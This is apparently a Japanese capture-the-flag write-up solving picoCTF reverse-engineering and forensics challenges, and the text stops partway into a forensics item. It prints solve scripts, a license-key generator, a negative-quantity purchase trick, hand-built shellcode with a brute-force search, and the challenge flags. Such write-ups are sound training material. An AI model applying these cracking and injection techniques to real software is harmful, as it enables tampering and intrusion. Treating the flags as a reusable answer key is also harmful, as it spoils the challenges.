import string LOWERCASE_OFFSET = ord("a") ALPHABET = string.ascii_lowercase[:16] def b16_decode(enc): dec = "" for i in range(0, len(enc), 2): n1 = ord(enc[i]) - LOWERCASE_OFFSET n2 = ord(enc[i+1]) - LOWERCASE_OFFSET dec += chr((n1 << 4) + n2) return dec def unshift(c, k): t1 = ord(c) - LOWERCASE_OFFSET t2 = ord(k) - LOWERCASE_OFFSET return ALPHABET[(t1 - t2) % len(ALPHABET)] enc = 'bkglibgkhghkijphhhejggikgjkbhefgpienefjdioghhchffhmmhhbjgclpjfkp' key = 'oedcfjdbe' b16 = "" for i, c in enumerate(enc): b16 += unshift(c, key[i % len(key)]) flag = b16_decode(b16) print(flag)
$ python3 solve.py 698987ddce418c11e9aa564229c50fda
picoCTF{698987ddce418c11e9aa564229c50fda}
Reverse Engineering(16問)
Transformation - 20 points
I wonder what this really is... enc
''.join([chr((ord(flag[i]) << 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])
逆変換をするようにスクリプトを書くと、以下のようになる。
with open('enc', 'r') as f: enc = f.read() flag = '' for ch in enc: flag += chr(ord(ch) >> 8) + chr(ord(ch) & 0xff) print(flag)
$ python3 solve.py picoCTF{16_bits_inst34d_of_8_04c0760d}
picoCTF{16_bits_inst34d_of_8_04c0760d}
keygenme-py - 30 points
bUsername_trial のハッシュ値を使って key_part_dynamic1_trial が正しい値かどうかをチェックしている処理がある。
# snip username_trial = "PRITCHARD" bUsername_trial = b"PRITCHARD" key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" key_part_dynamic1_trial = "xxxxxxxx" key_part_static2_trial = "}" key_full_template_trial = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial # snip def enter_license(): user_key = input("\nEnter your license key: ") user_key = user_key.strip() global bUsername_trial if check_key(user_key, bUsername_trial): decrypt_full_version(user_key) else: print("\nKey is NOT VALID. Check your data entry.\n\n") def check_key(key, username_trial): global key_full_template_trial if len(key) != len(key_full_template_trial): return False else: # Check static base key part --v i = 0 for c in key_part_static1_trial: if key[i] != c: return False i += 1 # TODO : test performance on toolbox container # Check dynamic part --v if key[i] != hashlib.sha256(username_trial).hexdigest()[4]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[5]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[3]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[6]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[2]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[7]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[1]: return False else: i += 1 if key[i] != hashlib.sha256(username_trial).hexdigest()[8]: return False return True # snip
その処理を参考に、正しい key_part_dynamic1_trial を求めるスクリプトを作成した。 実行すると、License Key(フラグ)を求めることができる。
import hashlib bUsername_trial = b"PRITCHARD" key_part_static1_trial = "picoCTF{1n_7h3_|<3y_of_" key_part_dynamic1_trial = "xxxxxxxx" key_part_static2_trial = "}" hash = hashlib.sha256(bUsername_trial).hexdigest() key_part_dynamic1_trial = "" for i in [4, 5, 3, 6, 2, 7, 1, 8]: key_part_dynamic1_trial += hash[i] user_key = key_part_static1_trial + key_part_dynamic1_trial + key_part_static2_trial print(user_key)
$ python3 solve.py picoCTF{1n_7h3_|<3y_of_54ef6292}
picoCTF{1n_7h3_|<3y_of_54ef6292}
crackme-py - 30 points
ファイル内に以下の文字列が書かれている
bezos_cc_secret = "A:4@r%uL`M-^M0c0AbcM-MFE055a4ce`eN"
これを CyberChef で ROT47 するだけ
picoCTF{1|\/|_4_p34|\|ut_dd2c4616}
ARMssembly 0 - 40 points
What integer does this program print with arguments
1765227561
and1830628817
? File: chall.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
chall.S は、ARM 64bit のアセンブリで書かれている。 読むのが面倒なので、クロスコンパイルして Ghidra で確認した。
$ sudo apt install gcc-aarch64-linux-gnu $ aarch64-linux-gnu-as chall.S -o chall
Ghidra で確認すると、コマンドライン引数に与えられた2つの値を比較し、大きいほうの値を表示するだけのプログラムでした。よって、1830628817
を16進数に変換した値がフラグになる。
picoCTF{6d1d2dd1}
speeds and feeds - 50 points
There is something on my shop network running at
mercury.picoctf.net:53740
, but I can't tell what it is. Can you?
netcat でアクセスすると、何かのログっぽい文字列がたくさん流れてくる。
$ nc mercury.picoctf.net 53740 G17 G21 G40 G90 G64 P0.003 F50 G0Z0.1 G0Z0.1 G0X0.8276Y3.8621 G1Z0.1 G1X0.8276Y-1.9310 G0Z0.1 G0X1.1034Y3.8621 G1Z0.1 G1X1.1034Y-1.9310 <snip>
文字列の最初の行にある G17 G21 G40 G90 G64 P0.003 F50
で検索すると、G-Code というコードであることが分かった。
また、GCode Viewer というサービスを発見した。ここに G-Code を貼り付けると、3Dモデルが表示される。
実際に貼り付けてみると、フラグの3Dモデルが表示された。
picoCTF{num3r1cal_c0ntr0l_775375c7}
Shop - 50 points
Best Stuff - Cheap Stuff, Buy Buy Buy... Store Instance: source. The shop is open for business at
nc mercury.picoctf.net 34938
.
netcat で接続すると、market が表示された。以下のいずれかを購入することができる。
- Quiet Quiches
- Average Apple
- Fruitful Flag
$ nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option:
「How many do you want to buy?」のところで -10 を指定してみると、自分の持ち金が 140 コインに増えた。 100 コイン以上になったので、Fruitful Flag を購入すると、10進数でフラグが表示された。
$ nc mercury.picoctf.net 34938 Welcome to the market! ===================== You have 40 coins Item Price Count (0) Quiet Quiches 10 12 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 0 How many do you want to buy? -10 You have 140 coins Item Price Count (0) Quiet Quiches 10 22 (1) Average Apple 15 8 (2) Fruitful Flag 100 1 (3) Sell an Item (4) Exit Choose an option: 2 How many do you want to buy? 1 Flag is: [112 105 99 111 67 84 70 123 98 52 100 95 98 114 111 103 114 97 109 109 101 114 95 98 97 54 98 56 99 100 102 125]
CyberChef の From Decimal で変換すると、フラグを取得することができた。
picoCTF{b4d_brogrammer_ba6b8cdf}
ARMssembly 1 - 70 points
For what argument does this program print
win
with variables85
,6
and3
? File: chall_1.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_1.S -o chall_1
0x715 を与えると、You win! と表示されるプログラムになっていました。
picoCTF{00000715}
ARMssembly 2 - 90 points
What integer does this program print with argument
3848786505
? File: chall_2.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_2.S -o chall_2
コマンドライン引数に与えられた値を3倍にして返すプログラムでした。
3848786505 を3倍にした値は、11546359515(0x2b03776db)になる。 ただし、オーバーフローしているので、実際に表示される値は 2956424923(0xb03776db)になる。
picoCTF{b03776db}
Hurry up! Wait! - 100 points
Ghidra で確認すると、以下のように delay させている処理が見つかる。
長時間スリープされていそうなので、ここの呼び出しを NOP(0x90)に書き換えて、呼び出されないようにする。
パッチを当てた後、実行するとフラグが表示された。
$ ./svchost.exe picoCTF{d15a5m_ftw_dfbdc5d}
picoCTF{d15a5m_ftw_dfbdc5d}
gogo - 110 points
Hmmm this is a weird file... enter_password. There is a instance of the service running at
mercury.picoctf.net:35862
.
Ghidra で処理を確認すると、以下の箇所でパスワード比較をしていた。
buf[0x20] 以降の値は、以下に格納されていた。
CyberChef
で XOR してパスワードを復号すると、reverseengineericanbarelyforward
となった。
実際に入力してみると、以下のように表示された。
$ ./enter_password Enter Password: reverseengineericanbarelyforward ========================================= This challenge is interrupted by psociety What is the unhashed key?
key になっている 861836f13e3d627dfa375bdb8389214e
を以下のサイトで検索すると、goldfish
と出てきた。
パスワード入力後に、goldfish
と入力すると、フラグが表示された。
$ nc mercury.picoctf.net 35862 Enter Password: reverseengineericanbarelyforward ========================================= This challenge is interrupted by psociety What is the unhashed key? goldfish Flag is: picoCTF{p1kap1ka_p1c05729981f}
picoCTF{p1kap1ka_p1c05729981f}
ARMssembly 3 - 130 points
What integer does this program print with argument ``3350728462PP? File: chall_3.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_3.S -o chall_3
以下のようなプログラムになっていました。
再現して実行すると、フラグになった。
#include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { unsigned int value = atoi(argv[1]); unsigned int result = 0; while (value != 0) { if ((value & 1) != 0) result = result + 3; value = value >> 1; } printf("%x\n", result); }
$ gcc solve.c $ ./a.out 3350728462 30
picoCTF{00000030}
Let's get dynamic - 150 points
Can you tell what this file is reading? chall.S
$ gcc chall.S
memcmp で比較していそうなので、GDB で確認する。
$ gdb -q ./a.out
memcmp に Breakpoint を置いて、スタックを見るとフラグが書かれていた。
gdb-peda$ start gdb-peda$ b memcmp gdb-peda$ c gdb-peda$ stack 0000| 0x7fffffffe0e8 --> 0x5555555552ff (<main+390>: test eax,eax) 0008| 0x7fffffffe0f0 --> 0x7fffffffe308 --> 0x7fffffffe56c ("/root/workdir/a.out") 0016| 0x7fffffffe0f8 --> 0x100000000 0024| 0x7fffffffe100 --> 0x0 0032| 0x7fffffffe108 --> 0x3100000000 ('') 0040| 0x7fffffffe110 ("picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377") 0048| 0x7fffffffe118 ("dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377") 0056| 0x7fffffffe120 ("4n4ly1s_1s_5up3r_us3ful_56e35b54}\377\377\377")
picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}
Easy as GDB - 160 points
The flag has got to be checked somewhere... File: brute
Ghidra で確認すると、以下の箇所でフラグを1バイトずつチェックをしている。
「ループ回数 > 入力したフラグの長さ」であれば、正しいフラグとなる。 1文字ずつ総当たりでフラグを入力し、0x4009a5 を通る回数を数えるスクリプトを作成した。
import gdb import string gdb.execute('file ./brute') gdb.execute('set pagination off') gdb.Breakpoint('*0x004009a5') pattern = string.printable flag = '' for i in range(len(flag), 30): for ch in pattern: open('input.txt', 'w').write(flag + ch) gdb.execute('run < input.txt') for _ in range(i + 1): try: gdb.execute('continue') except gdb.error: pass msg = gdb.execute('i b', to_string=True) if 'hit {} times'.format(i + 2) in msg: flag += ch gdb.execute('continue') break print('-' * 80) print('flag:', flag + ch) print(msg) print(flag) gdb.execute('quit')
x86 環境で以下を実行し、しばらく待つとフラグが表示される。
$ gdb -x ./solve.py -q <snip> Correct! [Inferior 1 (process 10470) exitex normally] picoCTF{I_5D3_A11DA7_e5458cbf}
picoCTF{I_5D3_A11DA7_e5458cbf}
ARMssembly 4 - 170 points
What integer does this program print with argument
3964545182
? File: chall_4.S Flag format: picoCTF{XXXXXXXX} -> (hex, lowercase, no 0x, and 32 bits. ex. 5614267 would be picoCTF{0055aabb})
ARMssembly 0 と同様にクロスコンパイルして Ghidra で確認した。
$ aarch64-linux-gnu-as chall_4.S -o chall_4
再現すると、以下のようなプログラムになっていました。
#include <stdio.h> #include <stdlib.h> unsigned int func8(unsigned int param_1) { return param_1 + 2; } unsigned int func7(unsigned int param_1) { if (param_1 < 0x65) param_1 = 7; return param_1; } unsigned int func6(unsigned int param_1) { unsigned int local_14; unsigned int local_c; local_c = 0; local_14 = param_1; while (local_c < 900) { local_14 = 0x5c; local_c = local_c + 1; } return local_14; } unsigned int func5(unsigned int param_1) { unsigned int uVar1; uVar1 = func8(param_1); return uVar1; } unsigned int func4(unsigned int param_1) { return param_1; } unsigned int func3(unsigned int param_1) { return func7(param_1); } unsigned int func2(unsigned int param_1) { if (param_1 < 500) return func4(param_1 - 0x56); else return func5(param_1 + 0xd); } unsigned int func1(unsigned int param_1) { if (param_1 < 0x65) return func3(param_1); else return func2(param_1 + 100); } int main(int argc, char **argv) { unsigned int value = atoi(argv[1]); unsigned int result = func1(value); printf("Result: %ld\n", (long) result); return 0; }
$ gcc solve.c $ ./a.out 3964545182 Result: 3964545297
picoCTF{ec4e2911}
Powershelly - 180 points
It's not a bad idea to learn to read Powershell. We give you the output, but do you think you can find the input? rev_PS.ps1 output.txt
rev_PS.ps1 を読み、output.txt から input.txt に戻すスクリプトを作成した。
function Random-Gen { $list1 = @() for ($i = 1; $i -lt ($output_file.Length + 1); $i++) { $y = ((($i * 327) % 681 ) + 344) % 313 $list1 += $y } return $list1 } function Unscramble { param ( $fun, $seed ) $raw2 = [convert]::ToString($fun, 2) $raw = @() $i = 0 while ($i -lt $raw2.Length) { $n = $raw2[$i] + $raw2[$i + 1] if ($n -eq "11") { $raw += "1" } else { $raw += "0" } $i += 2 } $blocks = @() for ($i = 0; $i -lt $raw.Length; $i++) { $y = ($i * $seed) % $raw.Length $n = $raw[$y] while ($n -eq "2") { $y = ($y + 1) % $raw.Length $n = $raw[$y] } $blocks += $raw[$y] $raw[$y] = "2" } return $blocks } $path = ".\output.txt" $output_file = Get-Content -Path $path $result = 0 $seeds = @() for ($i = 1; $i -lt ($output_file.count + 1); $i++) { $seeds += ($i * 127) % 500 } $randoms = Random-Gen $blocks = @{} for ($i = 0; $i -lt $output_file.count ; $i++) { $fun = $output_file[$i] -bxor $result -bxor $randoms[$i] $result = $fun -bxor $result -bxor $randoms[$i] $blocks[$i] = Unscramble -fun $fun -seed $seeds[$i] } $out = @{} for ($i = 0; $i -lt $blocks.Count; $i++) { for ($j = 0; $j -lt 5; $j++) { $line = $blocks[$i] $r = @() for ($k = 0; $k -lt 6; $k++) { $r += $line[$j * 6 + $k] } $s = [system.String]::Join("", $r) $out[$j] += $s + " " } } for ($i = 0; $i -lt $out.Count; $i++) { $input_file = $out[$i].Remove($out[$i].Length - 1, 1) Add-Content -Path input.txt -Value $input_file }
実行すると、以下のようにファイルが生成される。
PS > .\restore_input.ps1 PS > type input.txt 100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 100001 110011 110011 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 110011 100001 110011 100001 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 110011 110011 110011 110011 100001 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 100001 100001 100001 100001 100001 110011 110011 100001 100001 100001 110011 100001 100001 110011 110011 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 110011 100001 100001 110011 100001 110011 110011 100001 100001 110011 110011 110011 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 110011 100001 110011 110011 110011 100001 110011 100001 100001 100001 100001 100001 100001 100001 110011 110011 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011 110011 110011 100001 100001 100001 100001 100001 110011 110011 100001 110011 110011 110011 110011 100001 110011 110011 110011 100001 110011 110011 110011 100001 100001 110011 110011 100001 100001 110011 110011 100001 110011 110011 110011 100001 100001 110011 100001 100001 100001 110011 100001 100001 110011 100001 100001 100001 110011 110011 100001 110011 100001 100001 100001 100001 110011 110011 100001 100001 110011 100001 110011 100001 110011 110011 100001 110011 110011 100001 100001 100001 100001 110011 100001 100001 100001 100001 110011 100001 110011 110011 110011 110011 110011 100001 110011 001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 001100 100011 100011 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 100011 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 100011 100011 100011 100011 001100 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 001100 100011 100011 001100 001100 001100 001100 001100 001100 100011 100011 001100 001100 001100 100011 001100 001100 100011 100011 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 100011 001100 001100 100011 001100 100011 100011 001100 001100 100011 100011 100011 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 100011 001100 100011 100011 100011 001100 100011 001100 001100 001100 001100 001100 001100 001100 100011 100011 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011 100011 100011 001100 001100 001100 001100 001100 100011 100011 001100 100011 100011 100011 100011 001100 100011 100011 100011 001100 100011 100011 100011 001100 001100 100011 100011 001100 001100 100011 100011 001100 100011 100011 100011 001100 001100 100011 001100 001100 001100 100011 001100 001100 001100 100011 001100 001100 100011 100011 001100 100011 001100 001100 001100 001100 100011 100011 001100 001100 100011 001100 100011 001100 100011 100011 001100 100011 100011 001100 001100 001100 001100 100011 001100 001100 001100 001100 100011 001100 100011 100011 100011 100011 100011 001100 100011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 001100 110011 110011 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 110011 001100 110011 001100 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 110011 110011 110011 110011 001100 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 001100 001100 001100 001100 001100 110011 110011 001100 001100 001100 110011 001100 001100 110011 110011 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 110011 001100 001100 110011 001100 110011 110011 001100 001100 110011 110011 110011 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 110011 001100 110011 110011 110011 001100 110011 001100 001100 001100 001100 001100 001100 001100 110011 110011 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 110011 110011 001100 001100 001100 001100 001100 110011 110011 001100 110011 110011 110011 110011 001100 110011 110011 110011 001100 110011 110011 110011 001100 001100 110011 110011 001100 001100 110011 110011 001100 110011 110011 110011 001100 001100 110011 001100 001100 001100 110011 001100 001100 110011 001100 001100 001100 110011 110011 001100 110011 001100 001100 001100 001100 110011 110011 001100 001100 110011 001100 110011 001100 110011 110011 001100 110011 110011 001100 001100 001100 001100 110011 001100 001100 001100 001100 110011 001100 110011 110011 110011 110011 110011 001100 110011 100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 100001 000000 000000 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 000000 100001 000000 100001 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 000000 000000 000000 000000 100001 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 100001 100001 100001 100001 100001 000000 000000 100001 100001 100001 000000 100001 100001 000000 000000 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 000000 100001 100001 000000 100001 000000 000000 100001 100001 000000 000000 000000 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 000000 100001 000000 000000 000000 100001 000000 100001 100001 100001 100001 100001 100001 100001 000000 000000 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000 000000 000000 100001 100001 100001 100001 100001 000000 000000 100001 000000 000000 000000 000000 100001 000000 000000 000000 100001 000000 000000 000000 100001 100001 000000 000000 100001 100001 000000 000000 100001 000000 000000 000000 100001 100001 000000 100001 100001 100001 000000 100001 100001 000000 100001 100001 100001 000000 000000 100001 000000 100001 100001 100001 100001 000000 000000 100001 100001 000000 100001 000000 100001 000000 000000 100001 000000 000000 100001 100001 100001 100001 000000 100001 100001 100001 100001 000000 100001 000000 000000 000000 000000 000000 100001 000000
1行ずつ眺めていると、各行に2 パターンしかないことが分かる。
(1行目の場合、100001
と 110011
)
それぞれに 0 もしくは 1 を割り当てて、2進数として読み取り、文字列に変換するとフラグになった。
import string with open('input.txt') as f: lines = f.readlines() for line in lines: zero, one = sorted(set(line.split())) s = line.replace(zero, '0').replace(one, '1').replace(' ', '').strip() result = '' for i in range(0, len(s), 8): result += chr(int(s[i:i+8], 2)) if all([c in string.printable for c in result]): print(result)
$ python3 ./replace_01.py picoCTF{2018highw@y_2_pow3r$hel!} picoCTF{2018highw@y_2_pow3r"hel!} picoCTF{2018highw@y_2_pow3r$hel!} picoCTF{2018highw@y_2_pow3r$hel!}
picoCTF{2018highw@y_2_pow3r$hel!}
Rolling My Own - 300 points
I don't trust password checkers made by other people, so I wrote my own. It doesn't even need to store the password! If you can crack it I'll give you a flag. remote
nc mercury.picoctf.net 17615
remote を実行すると、以下のようなエラーが出る場合がある。
$ ./remote ./remote: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory
libcrypto.so.1.1 が足りないようなので、ダウンロードしてきてビルドする。
$ wget https://www.openssl.org/source/old/1.1.0/openssl-1.1.0l.tar.gz $ tar xvf openssl-1.1.0l.tar.gz $ cd openssl-1.1.0l $ ./config $ make
LD_LIBRARY_PATH に追記すると、実行できるようなる。
$ export LD_LIBRARY_PATH=./openssl-1.1.0l:$LD_LIBRARY_PATH $ ./remote Password:
実行できるようになったので gdb でデバッグしながら処理を確認すると、以下のようになっていた。
Password に abcdefghijklmnop
と入力された場合、以下のように4文字ずつ分割し、それぞれに8文字の salt が追記される。
abcdGpLaMjEW
efghpVOjnnmk
ijklRGiledp6
mnopMvcezxls
次に それぞれのMD5 ハッシュ値を求め、特定の位置の4バイトを抽出する。
80d218041c09fb220678d00421adc0f3
->0678d004
(offset: 8)294a4535c9c11c6fcc63aa80ba932e68
->4535c9c1
(offset: 2)46b4be289b403a62cf6b58e2de420aaa
->62cf6b58
(offset: 7)02f5c347b5257bf71cf3625fd5b4d6d7
->f5c347b5
(offset: 1)
抽出した 16 バイトを実行権限のあるメモリに展開し、命令として実行する。 実行された命令が正しければ、フラグ表示用の関数が呼び出され、フラグが表示される。
フラグを表示させるためには、以下の条件を満たす必要がある。
- Hints より、 Password の初めの4文字は、
D1v1
である。 - 実行時の rdi レジスタには、フラグ表示用の関数のアドレスが格納されている。
- フラグを表示させるためには、第1引数に 0x7b3dc26f1 を設定する必要がある。
- 16バイト以内に命令を収める必要がある。
以上、上記を満たす命令は、以下の2つのいずれかになる。
.intel_syntax noprefix .globl _start _start: mov rsi, rdi mov rdi, 0x7b3dc26f1 call rsi
$ gcc -nostdlib call_func1.S $ objdump -M intel -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 89 fe mov rsi,rdi 4000d7: 48 bf f1 26 dc b3 07 movabs rdi,0x7b3dc26f1 4000de: 00 00 00 4000e1: ff d6 call rsi
もしくは
.intel_syntax noprefix .globl _start _start: mov rsi, rdi mov rdi, 0x7b3dc26f1 nop call rsi
$ gcc -nostdlib call_func.S $ objdump -M intel -d a.out a.out: file format elf64-x86-64 Disassembly of section .text: 00000000004000d4 <_start>: 4000d4: 48 89 fe mov rsi,rdi 4000d7: 48 bf f1 26 dc b3 07 movabs rdi,0x7b3dc26f1 4000de: 00 00 00 4000e1: 90 nop 4000e2: ff d6 call rsi
ここまで判明したので、後は上記のバイト列になるパスワードを総当たりで探索すればよい。
import string import itertools import hashlib salts = [ 'GpLaMjEW', 'pVOjnnmk', 'RGiledp6', 'Mvcezxls', ] offsets = [8, 2, 7, 1] target_bytes = [ '4889fe48', 'bff126dc', 'b3070000', '00ffd6' ] chars = string.ascii_letters + string.digits result = '' for i in range(4): offset = offsets[i] * 2 size = len(target_bytes[i]) for ch in itertools.product(chars, repeat=4): password = ''.join(ch) digest = hashlib.md5((password + salts[i]).encode()).hexdigest() if digest[offset:offset + size] == target_bytes[i]: print(password + salts[i], digest, digest[offset:offset + size]) break result += password print('Password:', result)
$ python3 solve.py D1v1GpLaMjEW 23f144e08b603e724889fe489f78fa53 4889fe48 d3AnpVOjnnmk 97c5bff126dca58703d2ac303dd9053d bff126dc dC0nRGiledp6 a8cd3acafc8c25b3070000dd18450048 b3070000 qu3rMvcezxls cc00ffd6c3c4d4d271b26c64a7a7107b 00ffd6 Password: D1v1d3AndC0nqu3r
総当たりで判明したパスワードを入力すると、フラグが表示された。
$ nc mercury.picoctf.net 17615 Password: D1v1d3AndC0nqu3r picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}
picoCTF{r011ing_y0ur_0wn_crypt0_15_h4rd!_ad137747}
Forensics(11問)
information - 10 points
Files can always be changed in a secret way. Can you find the flag? cat.jpg
cat.jpg の文字列を列挙して、Base64デコードするとフラグが表示された。
$ strings cat.jpg | grep -oE "[a-zA-Z0-9+/]{5,}=?=?" | while read line; do echo $line | base64 -d 2>/dev/null; done | strings | grep pico picoCTF{the_m3tadata_1s_modified}
picoCTF{the_m3tadata_1s_modified}
Weird File - 20 points
What could go wrong if we let Word documents run programs? (aka "in-the-clear"). Download file.
olevba でマクロを抽出すると、以下のような処理が確認できる。
PS > olevba .\weird.docm ' snip Ret_Val = Shell("python -c 'print(\"cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9\")'" & " " & Args, vbNormalFocus) ' snip
Base64 デコードすると、フラグが表示された。
$ echo cGljb0NURnttNGNyMHNfcl9kNG5nM3IwdXN9 | base64 -d picoCTF{m4cr0s_r_d4ng3r0us}
picoCTF{m4cr0s_r_d4ng3r0us}
Matryoshka doll - 30 points
Matryoshka dolls are a set of wooden dolls of decreasing size placed one inside another. What's the final one? Image: this
dolls.jpg を「うさみみハリケーン」の「青い空を見上げればいつもそこに白い猫」に読み込ませる。 「ファイル・データ抽出」をすると、zip ファイルが抽出される。
zip ファイルを展開すると、また jpg ファイルが入っている。 同じ手順を4回ぐらい繰り返すと、フラグの書かれたファイルが出てきた。
picoCTF{e3f378fe6c1ea7f6bc5ac2c3d6801c1f}
tunn3l v1s10n - 40 points
We found this file. Recover the flag.
BM
から始まっているので、BMPファイルだと推測できる。
ただし、拡張子を変更しても画像として開けないことから、ヘッダが壊れていると思われる。
ImageMagic で変換すると修正できる場合があるので、変換してみると画像を開くことができた。
$ convert tunn3l_v1s10n output.bmp
画像は、横長で notaflag{sorry}
と書かれている。また、ファイルサイズが元データよりかなり少なくなっている。
よって、BMP ヘッダの画像サイズに関する値が書き換わっている可能性がある。
ヘッダ構成を調べるのが面倒だったので、010 Editor に元のファイルを読み込ませて、BMPのテンプレートを適用させて値を書き換えた。
biHeight を 306 から 834 に書き換えて、再度 convert するとフラグが表示された。
picoCTF{qu1t3_a_v13w_2020}
Wireshark doo dooo do doo... - 50 points
Can you find the flag? shark1.pcapng.
pcapng から pcap に変換して、NetworkMiner に読み込ませると、5つのファイルが見つかる。
index.html を開いてみると、以下のように書かれていた。
Gur synt vf cvpbPGS{c33xno00_1_f33_h_qrnqorrs}
CyberChef の ROT13 で変換すると、フラグが表示された。
picoCTF{p33kab00_1_s33_u_deadbeef}
MacroHard WeakEdge - 60 points
I've hidden a flag in this file. Can you find it? Forensics is fun.pptm
Forensics is fun.pptm を zip で展開すると、 Forensics is fun\ppt\slideMasters\hidden
という隠しファイルが含まれていた。
ファイルを開くと、以下のようになっていた。
